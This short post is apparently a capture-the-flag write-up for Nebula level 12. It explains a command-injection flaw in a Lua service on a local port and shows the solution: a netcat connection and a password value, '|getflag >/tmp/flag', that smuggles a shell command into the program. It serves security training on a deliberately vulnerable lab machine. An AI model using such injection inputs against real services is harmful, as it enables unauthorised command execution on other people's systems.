PH

« Home

Nebula level 12 solution

A simple command execution issue with the .lua code. Initially you need to connect to localhost on port 50001. Then simply inject the command as 'Password'. Line 5 inserts everything from "Password" prompt to the command string.

Solution

nc 127.0.0.1 50001
Password: |getflag >/tmp/flag
Better luck next time
less /tmp/flag
You have successfully executed getflag on a target account